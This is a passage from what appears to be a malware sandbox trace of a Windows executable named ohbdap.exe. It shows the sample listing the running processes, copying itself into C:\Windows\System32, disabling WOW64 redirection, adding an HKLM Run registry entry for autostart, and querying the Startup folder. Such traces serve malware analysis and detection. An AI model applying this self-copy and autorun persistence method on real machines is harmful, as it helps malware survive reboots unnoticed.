szExeFile="svchost.exe")) returned 1 [0030.956] lstrlenW (lpString="svchost.exe") returned 11 [0030.956] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0030.957] lstrlenW (lpString="audiodg.exe") returned 11 [0030.957] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0030.957] lstrlenW (lpString="svchost.exe") returned 11 [0030.958] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0030.958] lstrlenW (lpString="svchost.exe") returned 11 [0030.958] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0030.959] lstrlenW (lpString="dwm.exe") returned 7 [0030.959] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0030.959] lstrlenW (lpString="explorer.exe") returned 12 [0030.959] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0030.960] lstrlenW (lpString="spoolsv.exe") returned 11 [0030.960] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0030.960] lstrlenW (lpString="taskhost.exe") returned 12 [0030.960] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0030.961] lstrlenW (lpString="svchost.exe") returned 11 [0030.961] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0030.961] lstrlenW (lpString="taskeng.exe") returned 11 [0030.962] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0030.962] lstrlenW (lpString="taskhost.exe") returned 12 [0030.962] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chem venues.exe")) returned 1 [0030.963] lstrlenW (lpString="chem venues.exe") returned 15 [0030.963] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="month.exe")) returned 1 [0030.963] lstrlenW (lpString="month.exe") returned 9 [0030.963] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glasgow.exe")) returned 1 [0030.964] lstrlenW (lpString="glasgow.exe") returned 11 [0030.964] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rubber.exe")) returned 1 [0030.964] lstrlenW (lpString="rubber.exe") returned 10 [0030.964] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="petroleum.exe")) returned 1 [0030.965] lstrlenW (lpString="petroleum.exe") returned 13 [0030.965] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalyst-ps-grammar.exe")) returned 1 [0030.966] lstrlenW (lpString="catalyst-ps-grammar.exe") returned 23 [0030.966] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="serve-collaboration-semiconductor.exe")) returned 1 [0030.966] lstrlenW (lpString="serve-collaboration-semiconductor.exe") returned 37 [0030.966] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="batman_oliver.exe")) returned 1 [0030.967] lstrlenW (lpString="batman_oliver.exe") returned 17 [0030.967] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formation.exe")) returned 1 [0030.967] lstrlenW (lpString="formation.exe") returned 13 [0030.967] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1 [0030.968] lstrlenW (lpString="whole.exe") returned 9 [0030.968] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pollution dominican rural.exe")) returned 1 [0030.969] lstrlenW (lpString="pollution dominican rural.exe") returned 29 [0030.969] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disorder.exe")) returned 1 [0030.969] lstrlenW (lpString="disorder.exe") returned 12 [0030.969] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenseselsewhere.exe")) returned 1 [0030.970] lstrlenW (lpString="expenseselsewhere.exe") returned 21 [0030.970] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nextel-feeds.exe")) returned 1 [0030.970] lstrlenW (lpString="nextel-feeds.exe") returned 16 [0030.970] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="photographymiscellaneousmeters.exe")) returned 1 [0030.971] lstrlenW (lpString="photographymiscellaneousmeters.exe") returned 34 [0030.971] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="perspective.exe")) returned 1 [0030.971] lstrlenW (lpString="perspective.exe") returned 15 [0030.971] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="demand-site.exe")) returned 1 [0030.972] lstrlenW (lpString="demand-site.exe") returned 15 [0030.972] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="attachment.exe")) returned 1 [0030.973] lstrlenW (lpString="attachment.exe") returned 14 [0030.973] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valid-permit.exe")) returned 1 [0030.973] lstrlenW (lpString="valid-permit.exe") returned 16 [0030.973] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knights.exe")) returned 1 [0030.974] lstrlenW (lpString="knights.exe") returned 11 [0030.974] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0030.974] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0030.974] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0030.975] lstrlenW (lpString="mobsync.exe") returned 11 [0030.975] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0030.975] lstrlenW (lpString="dllhost.exe") returned 11 [0030.975] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0030.976] lstrlenW (lpString="dllhost.exe") returned 11 [0030.976] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 1 [0030.977] lstrlenW (lpString="ohbdap.exe") returned 10 [0030.977] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 0 [0030.977] CloseHandle (hObject=0xe0) returned 1 [0030.977] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5268 | out: hHeap=0x4b0000) returned 1 [0030.977] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e52b0 | out: hHeap=0x4b0000) returned 1 [0030.977] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e52f8 | out: hHeap=0x4b0000) returned 1 [0030.977] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5318 | out: hHeap=0x4b0000) returned 1 [0030.977] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5360 | out: hHeap=0x4b0000) returned 1 [0030.977] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e4a00 | out: hHeap=0x4b0000) returned 1 [0030.977] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4718 | out: hHeap=0x4b0000) returned 1 [0030.977] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4750 | out: hHeap=0x4b0000) returned 1 [0030.977] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4348 | out: hHeap=0x4b0000) returned 1 [0030.977] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4370 | out: hHeap=0x4b0000) returned 1 [0030.978] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4798 | out: hHeap=0x4b0000) returned 1 [0030.978] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4398 | out: hHeap=0x4b0000) returned 1 [0030.978] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x4eb428 [0030.978] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x4fb430 [0030.978] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a00 [0030.978] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a00, Size=0x20) returned 0x4c4398 [0030.978] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4398, Size=0x40) returned 0x4e69a8 [0030.978] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a00 [0030.978] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a00, Size=0x20) returned 0x4c4398 [0030.978] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a00 [0030.978] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a00, Size=0x20) returned 0x4c4370 [0030.978] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a00 [0030.978] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a00, Size=0x20) returned 0x4c4348 [0030.978] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4348, Size=0x40) returned 0x4e69f0 [0030.979] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4fb430, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ohbdap.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ohbdap.exe")) returned 0x30 [0030.979] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x50b438 [0030.979] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x51b440 [0030.979] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a00 [0030.979] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a00, Size=0x20) returned 0x4c4348 [0030.979] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4348, Size=0x40) returned 0x4e6a38 [0030.979] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6a38, Size=0x80) returned 0x4e5268 [0030.979] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5268, Size=0x100) returned 0x4e7bb0 [0030.979] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0030.979] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e7bb0 | out: hHeap=0x4b0000) returned 1 [0030.979] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\ohbdap.exe", lpDst=0x50b438, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\ohbdap.exe") returned 0x1f [0030.979] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51b440 | out: hHeap=0x4b0000) returned 1 [0030.979] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b438 | out: hHeap=0x4b0000) returned 1 [0030.979] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x20a0020 [0030.980] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a00 [0030.980] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a00, Size=0x20) returned 0x4c4348 [0030.980] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a00 [0030.980] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a00, Size=0x20) returned 0x4e5930 [0030.980] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0030.980] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0030.980] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1 [0030.980] lstrlenW (lpString="kernel32.dll") returned 12 [0030.980] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4348 | out: hHeap=0x4b0000) returned 1 [0030.980] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0030.980] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5930 | out: hHeap=0x4b0000) returned 1 [0030.980] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ohbdap.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ohbdap.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0030.980] CreateFileW (lpFileName="C:\\Windows\\System32\\ohbdap.exe" (normalized: "c:\\windows\\system32\\ohbdap.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0030.981] ReadFile (in: hFile=0xe0, lpBuffer=0x20a0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x20a0020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0030.994] WriteFile (in: hFile=0xe4, lpBuffer=0x20a0020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x20a0020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0030.998] ReadFile (in: hFile=0xe0, lpBuffer=0x20a0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x20a0020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0030.998] CloseHandle (hObject=0xe4) returned 1 [0031.000] CloseHandle (hObject=0xe0) returned 1 [0031.000] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a00 [0031.000] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a00, Size=0x20) returned 0x4e5930 [0031.000] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a00 [0031.000] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a00, Size=0x20) returned 0x4e58e0 [0031.000] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0031.000] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0031.000] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0031.000] lstrlenW (lpString="kernel32.dll") returned 12 [0031.000] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e58e0 | out: hHeap=0x4b0000) returned 1 [0031.000] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0031.000] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5930 | out: hHeap=0x4b0000) returned 1 [0031.000] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x20a0020 | out: hHeap=0x4b0000) returned 1 [0031.005] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a00 [0031.005] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a00, Size=0x20) returned 0x4e5930 [0031.005] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5930, Size=0x40) returned 0x4e6a38 [0031.005] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6a38, Size=0x80) returned 0x50b450 [0031.005] lstrlenW (lpString="C:\\Windows\\System32\\ohbdap.exe") returned 30 [0031.005] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0031.005] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x5c) returned 0x4e5268 [0031.005] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0 [0031.005] RegSetValueExW (in: hKey=0xe0, lpValueName="ohbdap.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\ohbdap.exe", cbData=0x3c | out: lpData="C:\\Windows\\System32\\ohbdap.exe") returned 0x0 [0031.006] RegCloseKey (hKey=0xe0) returned 0x0 [0031.006] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5268 | out: hHeap=0x4b0000) returned 1 [0031.006] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0031.006] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b450 | out: hHeap=0x4b0000) returned 1 [0031.006] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x50d438 [0031.006] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x51d440 [0031.006] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a00 [0031.006] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a00, Size=0x20) returned 0x4e5930 [0031.006] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5930, Size=0x40) returned 0x4e6a38 [0031.006] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6a38, Size=0x80) returned 0x50b450 [0031.007] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b450, Size=0x100) returned 0x4e7bb0 [0031.007] lstrlenW (lpString="") returned 0 [0031.007] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0031.007] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8c) returned 0x4e7cb8 [0031.007] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe0) returned 0x0 [0031.007] RegQueryValueExW (in: hKey=0xe0, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x51d440, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x51d440*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2 [0031.007] RegCloseKey (hKey=0xe0) returned 0x0 [0031.007] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e7cb8 | out: hHeap=0x4b0000) returned 1 [0031.007] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0031.007] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8c) returned 0x4e7cb8 [0031.007] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0031.007] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x51d440, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0 [0031.007] RegCloseKey (hKey=0xe4) returned 0x0 [0031.007] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e7cb8 | out: hHeap=0x4b0000) returned 1 [0031.007] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0031.007] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0031.007] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e7bb0 | out: hHeap=0x4b0000) returned 1 [0031.007] 